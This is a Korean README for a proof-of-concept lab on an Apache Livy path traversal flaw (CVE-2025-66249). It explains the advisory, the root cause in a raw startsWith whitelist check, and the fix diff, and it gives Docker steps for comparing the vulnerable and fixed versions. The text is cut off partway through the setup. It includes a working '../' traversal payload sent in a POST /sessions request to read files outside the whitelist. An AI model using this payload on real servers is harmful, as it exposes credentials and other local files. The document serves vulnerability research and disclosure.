
Apache Livy 경로 탐색 화이트리스트 우회 취약점에 대한 POC
교육 및 보안 연구 목적으로만 사용하십시오. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에는 사용하지 마십시오. → 전체 면책 조항
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2025-66249 |
| 심각도 | Important (CVSS N/A — 2026-03-15 기준 NVD 평가 대기 중) |
| 영향 | Apache Livy 0.3.0-incubating ~ 0.8.0-incubating — livy.file.local-dir-whitelist가 기본값이 아닌 값으로 설정된 경우에만 |
| 수정 버전 | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: 제한된 디렉터리('Path Traversal')에 대한 경로명의 부적절한 제한 |
| 공개일 | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| 보고자 | Hiroki Egawa (발견자) |
Livy의 REST 또는 JDBC 인터페이스에 접근 권한이 있는 인증된 사용자는 허용된 디렉터리 화이트리스트를 벗어나는 조작된 파일 경로 구성 값을 사용하여 Spark 세션이나 배치 작업을 제출할 수 있습니다.
근본 원인 — 화이트리스트 검사에서의 경로 탐색 우회 (Session.scala)
livy.file.local-dir-whitelist가 구성되면 Livy 0.8.0은 원시(비정규화) 경로에 대해 Java의 String.startsWith()를 호출하여 제출된 경로를 검증합니다. 이 검사는 ../ 탐색 시퀀스를 사용하여 우회할 수 있습니다:
/opt/safe-data/../sensitive/secret.txt
원시 문자열이 /opt/safe-data로 시작하므로 검사가 통과하지만, 경로는 실제로 /opt/sensitive/secret.txt로 해석되며 이는 화이트리스트에 포함된 디렉터리를 완전히 벗어납니다.
트리거 조건: 이 취약점은 livy.file.local-dir-whitelist가 기본값이 아닌(비어 있지 않은) 값으로 설정된 경우에만 악용할 수 있습니다. 화이트리스트가 비어 있으면(기본값) 경로 검증이 완전히 건너뛰어지므로 이 문제가 발생하지 않습니다.
영향: Livy REST API를 통해 세션을 제출하는 공격자는 Livy 서버 호스트의 임의의 로컬 파일을 참조할 수 있습니다. 공유 분석 클러스터에서는 자격 증명, 키, 구성 파일 또는 Livy 프로세스 사용자가 읽을 수 있는 모든 데이터가 잠재적으로 노출될 수 있음을 의미합니다.
Session.scala취약한 버전(v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
수정된 버전(v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
두 버전 모두 공식 Apache Livy GitHub 리포지토리에서 다음의 정확한 명령어를 사용하여 직접 클론했습니다:
리포지토리: https://github.com/apache/incubator-livy
# Vulnerable version — cloned into ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# Fixed version — cloned into ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| 버전 | 태그 | 확인된 커밋 | 로컬 경로 |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala: 화이트리스트 검사 전 Paths.get().normalize() import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Make sure the location is whitelisted before allowing local files to be added.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
v0.8.0에서의 영향:
원시 문자열 startsWith 검사는 경로 탐색 페이로드로 우회될 수 있습니다.
예: livy.file.local-dir-whitelist = /opt/safe-data인 경우
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (우회됨)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (차단됨)차이는 두 태그를 로컬에 클론(위 참조)한 후 다음을 실행하여 생성했습니다:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← path starts with whitelisted prefix — String.startsWith() passes
← but resolves OUTSIDE the directory via ../ traversal
}
}
│
▼
Livy 0.8.0 — whitelist check bypassed (raw startsWith, no normalisation)
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
이 PoC의 모든 단계는 다음 시스템에서 실행 및 검증되었습니다:
| 구성 요소 | 세부 정보 |
|---|---|
| 호스트 OS | Ubuntu 24.04.4 LTS (Noble Numbat) |
| 커널 | 6.17.0-14-generic x86_64 |
| 아키텍처 | x86_64 |
| 총 메모리 | 15 GiB |
| Docker Engine | 28.2.2 |
| 호스트 JDK | OpenJDK 17.0.18 (호스트에서만 사용 — 컨테이너는 eclipse-temurin:11-jdk-focal 사용) |
| 컨테이너 기본 이미지 | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Spark 버전 (두 이미지 모두) | 3.1.3 with Hadoop 3.2 |
| Livy 버전 — 취약한 이미지 | 0.8.0-incubating |
| Livy 버전 — 수정된 이미지 | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → image: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
전체 엔드투엔드 시퀀스 — 1단계부터 4단계까지 순서대로 진행합니다:
Step 1: Build vulnerable image → start container → verify Livy is up
Step 2: Run validate.sh → confirm VULNERABLE (attack HTTP 201) → stop container
Step 3: Build fixed image → start container → verify Livy is up
Step 4: Run validate.sh → confirm FIXED (attack HTTP 400) → stop container
참고: Livy는
docker run후 준비 상태가 되기까지 약 15~20초가 소요됩니다. 아래의 모든 단계에는 API 호출 전에 명시적인sleep 20이 포함되어 있습니다.
파일:
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — 0.0.0.0:8998에 바인딩, local 모드, 화이트리스트 = /opt/safe-data1a. 이미지 빌드:
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
검증 — 이미지가 생성되었는지 확인:
docker images cve-2025-66249-vulnerable
예상 출력:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. 컨테이너 시작:
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
검증 — 컨테이너가 실행 중인지 확인:
docker ps --filter name=livy-vulnerable
예상 출력: